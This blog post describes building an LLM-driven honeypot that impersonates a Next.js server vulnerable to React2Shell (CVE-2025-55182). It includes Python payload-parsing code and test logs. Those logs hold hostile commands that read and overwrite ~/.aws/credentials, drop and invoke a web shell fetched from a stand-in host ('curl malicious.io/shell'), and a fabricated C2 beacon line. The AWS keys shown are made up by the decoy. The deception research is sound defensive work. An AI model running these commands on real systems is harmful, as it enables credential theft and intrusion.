Previously, I discussed using an LLM to maintain the state of a persistent illusion of a compromised shell. That work assumed that there was, in fact, a vulnerability to sustain. This is not strictly necessary.

In practice, exploitation is rarely a direct interaction with a system. It is an interaction with a model of that system. The judgement as to whether it is a system or not is constructed from headers, responses, timing, and a set of expectations about how vulnerable software behaves. The attacker does not see the system. He sees its projection.

The goal here is not to recreate a vulnerability in the traditional sense. It is to recreate the conditions under which a vulnerability is assumed to exist. It can then respond in a way that reinforces that assumption once interaction begins.

All that is required is that the right signals are present, and that they remain consistent.

Now that I have a brain that functions modestly well and remembers what is going on modestly well (thanks Igor!) I need someone to talk to it. Part of the impetus behind my move to using LLM's was out of difficulty in maintaining and deploying vulnerabilities at scale within a reasonable period of time. Thus it makes no sense to attempt to recreate the vulnerability qua vulnerability. All that is necessary is that the right people think that there is a vulnerability.

Since this is a journey for me, I should be fully transparent. This was originally meant to be a demonstration of a script mimicking a SharePoint server and intercept and process vulnerabilities related to CVE-2025–53770. While I still plan on doing this, the complexity of the processing mixed with time constraints meant I had to fall back to a simpler vulnerability: CVE-2025-55182 also known as React2Shell.

None
A-Team reference anyone?

Normal Browsing

When you or I decide to visit really any website site (doesn't have to be React based) much of what occurs prior to our view of the webserver page happens under the hood consisting of the various HTTP requests and responses based on what I am asking for. The diagram below illustrates our usual browsing experience:

None
Yes, it should be HTTPS.

Basically, if you want to see if the site is a normal website you navigate to the site in your browser and look at the web page presented to you. Now of course there are ways of faking it, but the basic premise is there. This is how most users interact with the webpage.

Threat Actor Scanning

Threat Actor scanning (and even benign scanners) are not pulling up the site pages on their browsers to determine if the server is React or Apache. Clearly this would be a time consuming process. Rather scanners rely on the data that gets passed "under the hood." This generally relies on the scanner examining the headers being passed to it by the server, as well as expected responses to common URL paths.

The flow below shows how enumeration generally takes place.

None

The Deception System

Given that this is based off of the React vulnerability, there are some quirks to the way our deception architecture will flow. At its heart is a specially crafted malicious payload that allows foe remote code execution, but divorcing it from the technical details it is essentially an injection attack where the victim endpoint is tricked into evaluating code.

Therefore in order to provide a believable illusion I must (1) first provide a convincing enough illusion to make a scanner believe that it is a genuine server running React and (2) that it responds as expected when the exploit is attempted.

None

The Server Illusion

I decided to start with a basic Python server that would provide believable response codes to common queries and (more importantly) provide evidence of the exploitable paths. Essentially the vulnerable server would be simply a very complex Python server providing responses matching a React server .

This begins with the headers that are sent from the illusion machine:


HTTP/1.1 200 OK
Server: nginx
X-Powered-By: Next.js
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch
Content-Type: text/x-component; charset=utf-8
Set-Cookie: sid=abc123def456; HttpOnly; SameSite=Lax; Max-Age=3600
Cache-Control: no-store, must-revalidate

Yet more than that, the Python server should also provide endpoints that a scanner would expect to help deceive it into thinking it was a React endpoint.

/_next/flight → primary RSC illusion
/_rsc → alternate RSC endpoint
/ → Next.js-style frontend

The Vulnerability Illusion

Yet more than just act like a React server, it needs to act like a vulnerable React server. This vulnerability doesn't hinge on a single mistake, so much as it exploits JavaScript's defining feature: its extensibility. When frameworks dynamically build behavior from input, the line between data and execution becomes thin. Under the right conditions, attacker-controlled input can cross that barrier by being interpreted as if it were part of the program.

Yet the beauty of what I am trying to create is that the details the threat actor is sending is not necessary to build into the system. All that is needed is to simply accept what the threat actor is sending and run it. Even if the threat actor doesn't do it perfectly (like a participation prize for trying their best). Essentially who cares what the threat actor sends as long as it meets the JSON multi-part criteria.

So for instance an example of the whoami command in the full example of an exploit would be as follows:

None
Apoligies for the screen shot. Medium didn't want this code pasted

In all honesty the illusion server doesn't care about any of this other than the presence of the execSync command. Thus in my Python script, I added two functions that will allow me to understand what the threat actor is trying to ask for.

def extract_exec_command(text: str) -> Optional[str]:  
    patterns = [  
        r"execsync\s*\(\s*['\"]([^'\"]{1,500})['\"]\s*\)",  
        r"exec\s*:\s*['\"]([^'\"]{1,500})['\"]",  
        r"command\s*:\s*['\"]([^'\"]{1,500})['\"]",  
    ]  
    for pat in patterns:  
        m = re.search(pat, text, re.IGNORECASE | re.DOTALL)  
        if m:  
            return m.group(1).strip()  
    return None  
  
  
def extract_shell_drop_path(command: str) -> Optional[str]:  
    """  
    Detect common shell write patterns.  
    Still heuristic, but better than only -o or > with simple spacing.  
    """  
    patterns = [  
        r"(?:^|\s)(?:-o|--output)\s+([^\s;&|]+)",  
        r">\s*([^\s;&|]+)",  
        r"tee\s+([^\s;&|]+)",  
        r"touch\s+([^\s;&|]+)",  
    ]  
    for pat in patterns:  
        m = re.search(pat, command)  
        if m:  
            return normalize_shell_path(m.group(1))  
    return None

When these are called and match the patterns, we are able to pass the findings on to the LLM in Bedrock that we have previously built.

The script itself is written in Python using the FastAPI library using the URI routing structure mentioned above. The architecture follows the following flow:

None

Essentially the structure appears as an undeveloped web page for all intents and purposes. It is only after the correct requests are made to the correct endpoint, that the script hands things off to AI, which is less an execution engine and more a very confident liar with good memory.

Once the illusion server was sufficiently accomplished, I went about hooking the server illusion into the AWS Bedrock handler I designed in previous articles. This involved deploying both the Python script and ensuring that commands were being passed correctly and that the AWS Bedrock library was being called correctly. I also had to design a new persona for the compromised shell that would fit with a sample React2Shell environment. It actually took a lot of very boring troubleshooting that I will not bore the reader with here. Simple tests finally showed positive responses, and so I proceeded to examine the constructed environment with a series of tests to determine its effectiveness.

Illusion Testing Criteria

My testing procedure is based successful responses to three criteria

  1. Vulnerability Scanning Using Nuclei
  2. Active Exploitation with passed shell commands in the body of the POST request.
  3. Active exploitation involving the placement of dummy webshells

For tests two and four there are also accompanying negative tests.

Nuclei Vulnerability Scanning

I made the decision to go with Nuclei because I wanted a barebones scan based on a specific vulnerability. OpenVAS was obviously a strong contender, but I wanted something simpler and Nuclei's simple command line-based scans were appealing. Whether this is the right decision is debatable, but what it shows is that at a minimum the server shows itself vulnerable to the scanner.

docker run --rm projectdiscovery/nuclei -u http://x.x.x.x:3000 -id cve-2025-55182 -vv 2>&1 \
 | Tee-Object -FilePath "scan_results2.txt"
[INF] Current nuclei version: v3.8.0 (latest)
[INF] Current nuclei-templates version: v10.4.2 (latest)
[INF] New templates added in latest release: 121
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] React Server Components - Remote Code Execution (@dhiyaneshdk,@princechaddha,@assetnote,@lachlan2k,@maple3142,@iamnooob) [critical]
[INF] Scan completed in 39.77085ms. No results found.

The scan completed successfully and identified the system as vulnerable. Although, in this case, it says more about the scanner than the system.

Active Exploitation

There are two avenues of exploitation. Standard Linux command and web shell based execution.

Command Based Attack

1. whoami

Response Time: 874ms

root

2. pwd

Response Time: 956ms

/var/www/html

3. cat ~/.aws/credentials

Response Time: 1268ms

[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPlusCfrS+IxwqQEXAMPLEKEY
region = us-east-1

[production]
aws_access_key_id = AKIAJ7K8L9M0N1O2P3QR
aws_secret_access_key = 8xY9zAbCdEfGhIjKlMnOpQrStUvWxYzAbCdEfGhIj
region = us-west-2

4. echo blank > ~/.aws/credentials

Response Time: 7.86s (a little long)

5. cat ~/.aws/credentials

Response Time: 729s

"blank"

This last command was to determine if the command would retain a historical change to a file namely ~/.aws/credentials.

Shell Attack

This involves another form of the attack where a web shell is placed on the server. In this case we will call it malshell.php and will invoke it by calling curl malicious.io/shell > malshell.php in the POST request.

  1. The Request
None
Apologies for the screen shot. Medium didn't want this code pasted

Response Time: 2.32s

1:"% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed
100  12847  100  12847    0     0   45823      0 --:--:-- --:--:-- --:--:-- --:--:-- 100  12847  100  12847    0     0   45823      0 --:--:-- --:--:-- 0:00:00"

2. http://127.0.0.1:3000/malshell.php?cmd=whoami

Response Time: 872ms

3. http://127.0.0.1:3000/malshell.php?cmd=cat ~/.aws/credentials

Response Time: 2.44s

[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPluEfrS+EXAMPLEKEy
region = us-east-1

[production]
aws_access_key_id = AKIAJ5K8N2M9L0P1Q2R3
aws_secret_access_key = 8xK9mL0nO1pQ2rS3tU4vW5xY6zA7bC8dE9fG0hI1j
region = us-west-2

4. http://127.0.0.1:3000/malshell.php?cmd=ps axf

Response Time: 2.41s

PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:01 /sbin/init
   12 ?        Ss     0:00 /lib/systemd/systemd-journald
   28 ?        Ss     0:00 /lib/systemd/systemd-udevd
   89 ?        S      0:00 /lib/systemd/systemd-logind
  156 ?        Ss     0:00 /usr/sbin/sshd -D
  234 ?        Ss     0:00 /usr/sbin/apache2 -k start
  235 ?        S      0:00  \_ /usr/sbin/apache2 -k start
  236 ?        S      0:00  \_ /usr/sbin/apache2 -k start
  289 ?        Ss     0:00 /usr/sbin/mysqld
  412 ?        Ss     0:00 /usr/bin/python3 /usr/local/bin/malshell.py
  523 ?        S      0:00 /bin/bash -i
  524 ?        S      0:00  \_ curl http://c2.malicious.io/beacon
  567 pts/0    Ss     0:00 -bash
  568 pts/0    R+     0:00 ps axf

Outlier Attacks

These are attacks that trace various catch-all characteristics within the illusion environment. Things that haven't been put in place yet or malformed attacks.

Errors in the formatting of the attack string. There was nothing returned here:

None
Notice the space in exec Sync

Unregistered Shell Name fake.php This is an attempt to exploit a php file that hasn't been placed yet. The script is designed to respond as though the script was placed. Hence: http://127.0.0.1:3000/fake.php?cmd=ping google.com returns a response regardless of whether the shell was ever placed.

PING google.com (142.251.41.14) 56(84) bytes of data.
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=1 ttl=119 time=12.4 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=2 ttl=119 time=11.8 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=3 ttl=119 time=12.1 ms
64 bytes from lax17s47-in-f14.1e100.net (142.251.41.14): icmp_seq=3 ttl=119 time=12.3 ms
^C
--- google.com statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 11.8/12.1/12.4/0.2 ms

I want to point out something in the shell command response for ps axf

PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:01 /sbin/init
   12 ?        Ss     0:00 /lib/systemd/systemd-journald
   28 ?        Ss     0:00 /lib/systemd/systemd-udevd
   89 ?        S      0:00 /lib/systemd/systemd-logind
  156 ?        Ss     0:00 /usr/sbin/sshd -D
  234 ?        Ss     0:00 /usr/sbin/apache2 -k start
  235 ?        S      0:00  \_ /usr/sbin/apache2 -k start
  236 ?        S      0:00  \_ /usr/sbin/apache2 -k start
  289 ?        Ss     0:00 /usr/sbin/mysqld
  412 ?        Ss     0:00 /usr/bin/python3 /usr/local/bin/malshell.py
  523 ?        S      0:00 /bin/bash -i
  524 ?        S      0:00  \_ curl http://c2.malicious.io/beacon
  567 pts/0    Ss     0:00 -bash
  568 pts/0    R+     0:00 ps axf

You can see what it is and that it is formatted correctly. It is only at closer inspection that you start to see some things that don't quite add up. Similar to AI's famous issue with the correct amount of hands on a finger. Yet the advantage is that despite some of these irregularities it suffices for a passing glance and saves enormous amounts of time by just autogenerating.

Closing Thoughts

A system does not need to be compromised to be treated as compromised. It only needs to speak convincingly in the language of compromise.

The implication is uncomfortable. Many of the tools used to identify vulnerable systems are not verifying reality. Rather the systems are inferring it based on a preponderance of evidence: Headers, response codes, timing, and output are only signals. And signals, when arranged carefully enough, can tell a very convincing story.

In this case, the system is not executing commands. It is maintaining coherence. It is ensuring that each interaction reinforces the same underlying narrative: that the system is real, that it is vulnerable, and that progress is being made.

For an attacker, that is often enough.